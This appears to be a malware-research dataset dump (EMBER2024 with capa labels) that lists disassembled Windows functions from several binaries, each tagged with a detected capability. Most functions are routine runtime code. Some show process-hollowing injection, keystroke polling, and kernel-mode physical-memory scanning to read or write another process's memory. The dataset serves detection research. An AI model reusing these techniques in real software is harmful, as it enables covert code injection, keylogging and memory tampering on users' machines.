joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140005688
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov dword [rsp + 0x18], r8d
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r12d, r8d
mov ebx, edx
mov r15d, ecx
mov ecx, 8
call fcn.1400067b4
nop
cmp dword [0x141b948c0], 1
je 0x140005634
mov dword [0x141b948bc], 1
mov byte [0x141b948b8], r12b
test ebx, ebx
jne 0x140005620
mov rcx, qword [0x141b952b0]
call sub.KERNEL32.dll_DecodePointer
mov rsi, rax
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14000560d
mov rcx, qword [0x141b952a8]
call sub.KERNEL32.dll_DecodePointer
mov rdi, rax
mov qword [rsp + 0x20], rax
mov r14, rsi
mov qword [rsp + 0x28], rsi
mov r13, rax
mov qword [rsp + 0x38], rax
sub rdi, 8
mov qword [rsp + 0x20], rdi
cmp rdi, rsi
jb 0x1400055ac
call fcn.140004c8c
cmp qword [rdi], rax
jne 0x1400055ac
jmp 0x140005592
cmp rdi, rsi
jb 0x14000560d
mov rcx, qword [rdi]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
call fcn.140004c8c
mov qword [rdi], rax
call rbx
mov rcx, qword [0x141b952b0]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
mov rcx, qword [0x141b952a8]
call sub.KERNEL32.dll_DecodePointer
cmp r14, rbx
jne 0x1400055eb
cmp r13, rax
je 0x14000560b
mov r14, rbx
mov qword [rsp + 0x28], rbx
mov rsi, rbx
mov qword [rsp + 0x30], rbx
mov r13, rax
mov qword [rsp + 0x38], rax
mov rdi, rax
mov qword [rsp + 0x20], rax
jmp 0x140005592
lea rdx, [0x1400093b8]
lea rcx, [0x1400093b0]
call fcn.1400053dc
lea rdx, [0x1400093c8]
lea rcx, [0x1400093c0]
call fcn.1400053dc
nop
test r12d, r12d
je 0x140005643
mov ecx, 8
call fcn.1400066b4
test r12d, r12d
jne 0x14000566e
mov dword [0x141b948c0], 1
lea ecx, [r12 + 8]
call fcn.1400066b4
mov ecx, r15d
call fcn.140005370
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xor r8d, r8d
xor edx, edx
jmp 0x1400054fc

Function at 0x140005694
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x1400054fc
Function at 0x140007e2c
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov ebp, r8d
mov r13, rdx
mov r14, rcx
call fcn.140004c8c
xor ebx, ebx
mov rdi, rax
cmp qword [0x141b94f90], rbx
jne 0x140007f32
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x140008007
lea rdx, str.MessageBoxA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140008007
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x141b94f90], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x141b94f98], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
mov qword [0x141b94fa0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov r11, rax
mov qword [0x141b94fb0], rax
test rax, rax
je 0x140007f29
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x141b94fa8], rax
jmp 0x140007f39
mov rax, qword [0x141b94fa8]
jmp 0x140007f40
mov rax, qword [0x141b94fa8]
mov r11, qword [0x141b94fb0]
cmp rax, rdi
je 0x140007fa8
cmp r11, rdi
je 0x140007fa8
mov rcx, rax
call sub.KERNEL32.dll_DecodePointer
mov rcx, qword [0x141b94fb0]
mov rsi, rax
call sub.KERNEL32.dll_DecodePointer
mov r12, rax
test rsi, rsi
je 0x140007fa8
test rax, rax
je 0x140007fa8
call rsi
test rax, rax
je 0x140007fa2
lea rcx, [rsp + 0x88]
mov r9d, 0xc
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x140007fa2
test byte [rsp + 0x38], 1
jne 0x140007fa8
bts ebp, 0x15
jmp 0x140007fe6
mov rcx, qword [0x141b94f98]
cmp rcx, rdi
je 0x140007fe6
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x140007fe6
call rax
mov rbx, rax
test rax, rax
je 0x140007fe6
mov rcx, qword [0x141b94fa0]
cmp rcx, rdi
je 0x140007fe6
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x140007fe6
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x141b94f90]
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x140008007
mov r9d, ebp
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x140008009
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x1400010e0
Capabilities:
Find process by pid

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
cmp dword [rcx], 0x5fa4c37
mov rdi, rcx
jne 0x140001142
movsxd rax, dword [rcx + 4]
xor ebx, ebx
test eax, eax
je 0x140001142
mov rcx, rax
mov qword [rsp + 0x30], rbx
lea rdx, [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
js 0x140001142
mov rcx, qword [rsp + 0x30]
call sub.ntoskrnl.exe_PsGetProcessSectionBaseAddress
test rax, rax
jne 0x14000112c
mov ebx, 0xc0000001
jmp 0x140001133
mov rcx, qword [rdi + 8]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov eax, ebx
jmp 0x140001147
mov eax, 0xc0000001
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x140001154
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
cmp dword [rcx], 0x5fa4c37
mov rsi, rcx
je 0x140001178
mov eax, 0xc0000001
jmp 0x140001230
xor edi, edi
lea r9, [rsp + 0x30]
xor r8d, r8d
mov dword [rsp + 0x30], edi
lea rdx, [rsp + 0x30]
mov ebx, edi
lea ecx, [rdi + 0x42]
call sub.ntoskrnl.exe_ZwQuerySystemInformation
cmp eax, 0xc0000004
jne 0x14000122e
test rbx, rbx
je 0x1400011b0
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov edx, dword [rsp + 0x30]
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_ExAllocatePool]
mov r8d, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
mov rdx, rax
mov ecx, 0x42
mov rbx, rax
call sub.ntoskrnl.exe_ZwQuerySystemInformation
cmp eax, 0xc0000004
je 0x1400011a0
test rbx, rbx
je 0x14000122e
mov r8d, dword [rbx]
test r8d, r8d
je 0x140001223
mov edx, edi
shl rdx, 5
test byte [rdx + rbx + 0x10], 1
je 0x14000121c
cmp qword [rdx + rbx + 0x18], 0x200000
jne 0x14000121c
mov ecx, dword [0x140002060]
mov r9b, byte [0x140002064]
cmp dword [rdx + rbx + 0x20], ecx
jne 0x14000121c
cmp byte [rdx + rbx + 0x24], r9b
je 0x140001240
inc edi
cmp edi, r8d
jb 0x1400011ea
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov rcx, qword [rsi + 8]
mov rax, qword [rdx + rbx + 8]
mov qword [rcx], rax
jmp 0x14000122e
Function at 0x140001250
Capabilities:
Find process by pid

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbx
mov qword [r11 + 0x20], rsi
push rdi
sub rsp, 0x20
cmp dword [rcx], 0x5fa4c37
mov rbx, rcx
jne 0x1400012f3
movsxd rax, dword [rcx + 4]
test eax, eax
je 0x1400012f3
and qword [r11 + 8], 0
lea rdx, [r11 + 8]
mov rcx, rax
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x1400012f3
mov rdi, qword [0x140004260]
test rdi, rdi
je 0x1400012f3
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov rdx, qword [rbx + 8]
mov rcx, rdi
mov rsi, qword [rbx + 0x18]
call fcn.140001a28
test rax, rax
je 0x1400012f3
mov ecx, eax
lea r9, [rsp + 0x38]
and ecx, 0xfff
mov edx, 0x1000
sub edx, ecx
mov rcx, rax
cmp edx, esi
cmovl esi, edx
cmp byte [rbx + 0x20], 0
mov rdx, qword [rbx + 0x10]
movsxd r8, esi
je 0x1400012ea
call fcn.140001bac
jmp 0x1400012ef
call fcn.140001840
xor eax, eax
jmp 0x1400012f8
mov eax, 0xc0000001
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret

Function at 0x1400013a4
Capabilities:
Find process by pid

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
cmp qword [0x140004268], 0
mov r13, rcx
jne 0x1400013d2
call fcn.140001504
cmp qword [0x140004290], 0
jne 0x140001407
call fcn.140001308
mov rcx, rax
lea r8, [0x140002020]
lea rdx, [0x140002050]
call fcn.1400018c0
movsxd rcx, dword [rax + 8]
mov rax, qword [rcx + rax + 0xc]
mov qword [0x140004290], rax
call qword [sym.imp.ntoskrnl.exe_MmGetPhysicalMemoryRanges]
mov rdx, qword [0x140004288]
xor r15d, r15d
mov rcx, qword [0x140004280]
lea rsi, [rax + 8]
lea r12, [rcx + rdx*8]
mov rbx, qword [rsi - 8]
test rbx, rbx
jne 0x140001438
cmp qword [rsi], rbx
je 0x1400014e6
mov rbp, qword [rsi]
sar rbp, 0xc
sar rbx, 0xc
add rbp, rbx
cmp rbx, rbp
jge 0x1400014c7
lea rdi, [rbx + rbx*2]
shl rdi, 4
mov rax, qword [0x140004290]
mov r14, qword [rdi + rax]
cmp r14, 2
jb 0x1400014ad
cmp qword [rdi + rax + 8], r12
jne 0x1400014ad
movabs rax, 0xffff800000000000
shr r14, 0xd
or r14, rax
lea rdx, [rsp + 0x58]
mov rax, rbx
shl rax, 0xc
mov qword [0x140004260], rax
mov ecx, dword [r13]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov rcx, r14
call qword [sym.imp.ntoskrnl.exe_MmIsAddressValid]
test al, al
je 0x1400014ad
cmp r14, qword [rsp + 0x58]
je 0x1400014bb
inc rbx
add rdi, 0x30
cmp rbx, rbp
jl 0x140001453
jmp 0x1400014c7
mov rcx, qword [0x140004260]
test rcx, rcx
jne 0x1400014dd
inc r15d
add rsi, 0x10
cmp r15d, 0xc8
jl 0x140001426
jmp 0x1400014e6
mov rax, qword [r13 + 8]
mov qword [rax], rcx
xor eax, eax
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x1400041d0
Capabilities:
Allocate or change rwx memory
Resume thread

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x310
mov rax, qword [0x14008f8c0]
xor rax, rsp
mov qword [rsp + 0x300], rax
movsxd rbx, dword [rdx + 0x3c]
mov r15, rdx
add rbx, rdx
mov dword [rsp + 0x20], 0x40
mov r14, rcx
mov r9d, 0x3000
mov rcx, qword [rcx]
mov r8d, dword [rbx + 0x50]
mov edx, dword [rbx + 0x34]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbp, rax
test rax, rax
je 0x140004323
mov r9d, dword [rbx + 0x54]
xor r13d, r13d
mov rcx, qword [r14]
mov r8, r15
mov rdx, rax
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140004323
mov edi, r13d
cmp r13w, word [rbx + 6]
jae 0x14000429f
mov esi, r13d
movzx eax, word [rbx + 0x14]
mov rcx, qword [r14]
add rax, rsi
mov qword [rsp + 0x20], r13
mov r8d, dword [rax + rbx + 0x2c]
mov edx, dword [rax + rbx + 0x24]
add r8, r15
mov r9d, dword [rax + rbx + 0x28]
add rdx, rbp
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140004323
movzx eax, word [rbx + 6]
inc edi
add rsi, 0x28
cmp edi, eax
jl 0x140004260
xor edx, edx
lea rcx, [rsp + 0x34]
mov r8d, 0x2c8
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [r14 + 8]
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x30], 0x10000b
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
test eax, eax
je 0x140004323
mov edx, dword [rsp + 0xd4]
lea r8, [rbx + 0x34]
mov rcx, qword [r14]
add rdx, 8
mov r9d, 4
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140004323
mov ecx, dword [rbx + 0x28]
lea rdx, [rsp + 0x30]
add ecx, ebp
mov dword [rsp + 0xe0], ecx
mov rcx, qword [r14 + 8]
call qword [sym.imp.KERNEL32.dll_Wow64SetThreadContext]
test eax, eax
je 0x140004323
mov rcx, qword [r14 + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
jmp 0x140004325
xor eax, eax
mov rcx, qword [rsp + 0x300]
xor rcx, rsp
call fcn.14006d410
mov rbx, qword [rsp + 0x360]
add rsp, 0x310
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140004350
Capabilities:
Allocate or change rwx memory
Resume thread

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x510
mov rax, qword [0x14008f8c0]
xor rax, rsp
mov qword [rsp + 0x500], rax
movsxd rbx, dword [rdx + 0x3c]
mov r15, rdx
add rbx, rdx
mov dword [rsp + 0x20], 0x40
mov r14, rcx
mov r9d, 0x3000
mov rcx, qword [rcx]
mov r8d, dword [rbx + 0x50]
mov rdx, qword [rbx + 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbp, rax
test rax, rax
je 0x1400044a7
mov r9d, dword [rbx + 0x54]
xor r13d, r13d
mov rcx, qword [r14]
mov r8, r15
mov rdx, rax
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400044a7
mov edi, r13d
cmp r13w, word [rbx + 6]
jae 0x140004420
mov esi, r13d
movzx eax, word [rbx + 0x14]
mov rcx, qword [r14]
add rax, rsi
mov qword [rsp + 0x20], r13
mov r8d, dword [rax + rbx + 0x2c]
mov edx, dword [rax + rbx + 0x24]
add r8, r15
mov r9d, dword [rax + rbx + 0x28]
add rdx, rbp
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400044a7
movzx eax, word [rbx + 6]
inc edi
add rsi, 0x28
cmp edi, eax
jl 0x1400043e1
xor edx, edx
lea rcx, [rsp + 0x30]
mov r8d, 0x4d0
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [r14 + 8]
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x60], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1400044a7
mov rdx, qword [rsp + 0xb8]
lea r8, [rbx + 0x30]
mov rcx, qword [r14]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400044a7
mov eax, dword [rbx + 0x28]
lea rdx, [rsp + 0x30]
mov rcx, qword [r14 + 8]
add rax, rbp
mov qword [rsp + 0xb0], rax
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x1400044a7
mov rcx, qword [r14 + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
jmp 0x1400044a9
xor eax, eax
mov rcx, qword [rsp + 0x500]
xor rcx, rsp
call fcn.14006d410
mov rbx, qword [rsp + 0x560]
add rsp, 0x510
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140004eb0
Capabilities:
Log keystrokes via polling

Disassembly:
sub rsp, 0x28
call fcn.1400049b0
nop dword [rax]
mov ecx, 0x77
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
js 0x140004ef2
mov ecx, reloc.WS2_32.dll_WSASetLastError
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x140004ee5
call fcn.1400044e0
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140004ec0
call fcn.140001e00
call fcn.140003be0
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
add rsp, 0x28
ret

Function at 0x1400053c0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x1400053e8
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x14000540e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140005410
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140005469
test ecx, ecx
jle 0x140005449
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140005469
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140005469
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
Function at 0x140005490
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x1400054b2
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x1400054c8
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x1400054e4
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1400054e6
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140005522
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x1400055be
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x14000555d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14000559e
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x1400055be
cmp rbx, rax
ja 0x140005570
test rbx, rbx
je 0x1400055be
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x140005a20
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x14008f8c0]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x140005a4d
xor eax, eax
jmp 0x140005bb9
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140005a87
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140005a87
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140005bb9
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x140005bac
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140005aca
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140005af5
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140005bb1
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140005b64
sub eax, 1
je 0x140005b64
cmp eax, 2
jne 0x140005bac
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140005bb1
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140005b92
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x140005bac
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x140005bb1
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.14006d410
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x140006230
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x14008f8c0]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140006303
cmp byte [rcx + 0x71], 0
je 0x140006303
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x1400062ff
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x1400062c4
sub eax, 1
je 0x1400062c8
cmp eax, 2
jne 0x1400062ff
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14006d410
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x1400062f6
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x1400062ff
cmp byte [rbx + 0x71], 0
sete al
jmp 0x1400062ac
xor al, al
jmp 0x1400062ac
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14006d410
add rsp, 0x60
pop rbx
ret
Function at 0x140007730
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x140007791
lea r8, [r9 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x140007750
mov ecx, dword [r9]
jmp 0x14000787b
cmp ecx, 0x4e0
jb 0x14000787b
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
add r10, 4
mov edx, r11d
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x634]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x1400077b0
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
mov edx, eax
xor edx, r11d
add r10, 4
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 - 0xd4c]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140007800
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
